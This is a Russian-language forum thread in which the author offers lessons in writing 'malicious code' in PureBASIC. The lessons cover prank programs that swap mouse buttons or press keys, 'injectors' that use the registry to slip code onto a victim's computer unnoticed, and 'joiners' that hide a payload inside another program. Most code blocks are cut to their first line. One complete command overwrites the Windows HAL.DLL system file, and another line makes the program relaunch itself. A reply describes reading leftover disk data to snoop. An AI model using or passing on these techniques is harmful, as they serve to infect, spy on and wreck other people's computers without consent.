Dark side of Programming
Прим: Оригинальная тема находиться здесь: http://forum.df2.ru/index.php?showtopic=4681&st=0
Традиционно считается, что программирование - созидеательный процесс. И верно. Но есть одно такое интересное "но"... В криво переведенном WarZone 2100 было такое понятие: 'разрушительная структура'. Такие вещи возможны и в программировании... Да, именно так: я (и не только я, чужие статьи только приветствуются !) буду учить вас здесь написанию т.н. "вредоносного кода". Вирусы, трояны, черви, шпионы, все они попадают под это емкое опредение. Что же, давайте перейдем к делу. Для всех примеров, если не указанно иного, вам потребуется PureBASIC v4.0 (качаем здесь: http://www.boolean.name/showthread.php?t=2463), лучший, ИМХО, из существующих на сегодняшний день ЯВУ. Так же будем совсем не лишним хотя бы минимальное умение на нем писать . Итак, УРОК ПЕРВЫЙ: Допустим вам хочется подшутить над другом\подругой. Подшутить беззлобно, без потери данных, порчи железа и т.п. вещей. Хочется ? Я помогу . Предлагаю поменять местами сигнал от конопок мыши (т.е., чтобы левый клик считался как правый, и наоборот). А потом, через случайный промежуток времени, вернуть все как было. А потом опять поменять... И так до бесконечности . Короче говоря, открываем PureBASIC IDE, и вписываем туда следующий код: Код:
Define FSwap = -1 Цитата:
To be continued... |
Re: Dark side of Programming
Итак, я думаю настало время приподать вам Урок №2 .
В прошлом уроке я рассказала вам о том, как написать простейшую программу-шутку. Теперь давайте обсудим способы ее внедрения в компьютер жертвы. Допустим, вы НЕ имеете прямого доступа к компьютеру жертвы. Что же делать ? А вот что: мы напишем на PureBASIC'е какую-нибудь программу (можно и просто взять чужую, главное - иметь исходник), и вставим в ее начало следующий код: Код:
Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S) Итак, теперь вы знаете, как обеспечить незаметное автоматическое проникновение вашего кода на чужой компьютер. Это довольно-таки опасные знания, так что будьте благоразумны, хе-хе . Скорее всего у вас возникнет вопрос: а можно ли сделать иньектор для программы, исходников которой у вас нет (или есть, но они написанны не на PB) ? Можно, конечно. Но об этом уже как-нибудь в другой раз, ибо сегодняшний урок уже окончен . |
Re: Dark side of Programming
Вне занятий:
Пока писала 3ий урок, впомнила один прикольчик Код:
RunProgram(ProgramFilename()) |
Re: Dark side of Programming
Procedure Lesson3()
На прошлом занятии я рассказала вам о простейшем способы автоматического внедрения кода на чужой компьютер - иньекторах. Теперь же настало время для изучения более продвинутого механизма - Joiner'ов. Вообще-то в сети, при желании, можно найти немало готовых программ подобного рода, но лично я предпочитаю все делать своими руками, чего и вам советую . Итак, открываем IDE, и пишем следующий код: Код:
DataSection EndProcedure |
Re: Dark side of Programming
Alternative Joiner (дополнение к 3ему уроку):
У описанного в 3м уроке Joiner'а есть одна интересная особенность: он запускает оригинальную программу (ну, под которую он маскируется) непосредственно из памяти. Это, конечно, хорошо и правильно, но не всегда. Как я уже писала, с прогам под DOS (и некоторыми, спецефическими, под Windows) такой фокус не пройдет (или просто не будут работать, или будут, но так, что лучше бы не работали). Есть еще один ньюанс: при таком способе запуска не передаются параметры командной строки. Рассмотрим альтернативный вариант Joiner'а, лишенный этих недостатков (но имеющий свои ) : Код:
DataSection |
Re: Dark side of Programming
Убить Винду одной процедурой...
Код:
RunProgram("Cmd.EXE", "/C ECHO Винда MUST DIE XD !!! > %SYSTEMROOT%\SYSTEM32\HAL.DLL", "") |
Re: Dark side of Programming
Пьяная, пьяная мишь... ©
Код:
Define X, Y, X1, Y1, Z |
Re: Dark side of Programming
Mix обоих мышиных приколов:
Код:
Global FSwap = -1, X, Y, X1, Y1, Z |
Re: Dark side of Programming
Развлекаемся с клавой...
Небольшая, но прикольная программка, каждые 15 секунд имитирующая нажатие случайной (от A до Z) клавиши (представляете сколько, эдак, через пол-часика, очепяток набереться ?) : Код:
#A = 'A' |
Re: Dark side of Programming
хм.. любопытно.. хотя увлекаюсь другими областями применения программирования.
Был такой прикол в QBASIC'е. Создаем файл. записывам по первой позиции (размер сегмента 128 байт кажется) и по кукой-нибудь 100000. закрываем файл. и ОПА!!! за две комманды и 0,NNN секунд мы получили файл рамером 100-800 МБ, кому сколько хочется (маленький - не интересно). Но он не пустой. И дело не в том, что мы в него записали полкилобайта. В файле можно просмотреть содержимое диска в том месте, которое адресно занял файл. Я был неожиданно удивлен обнаружив в нем строки двухлетней давности. Какие-то имена файлов или URL'ы.. Так что можно пошпиенить без всяки FAT-explorer'ов :)) Приношу извинения, если не следовало писать это в данной теме. |
Re: Dark side of Programming
Chrono Syndrome Очень интерестные уроки, обязательно ждём продолжений!
|
Re: Dark side of Programming
Цитата:
|
Re: Dark side of Programming
А вот тоже интересный код, который можно оформить в весёлую шутку, если прикрутить к таймеру, и менять системную палитру каждые секунд 20!
Код:
;kvitaliy for PB4.* 12.01.2007 |
Re: Dark side of Programming
|
Re: Dark side of Programming
А можно, плиз, привести алгоритм этих джойнеров? Был бы очень благодарен ;)
|
Часовой пояс GMT +4, время: 07:31. |
vBulletin® Version 3.6.5.
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Перевод: zCarot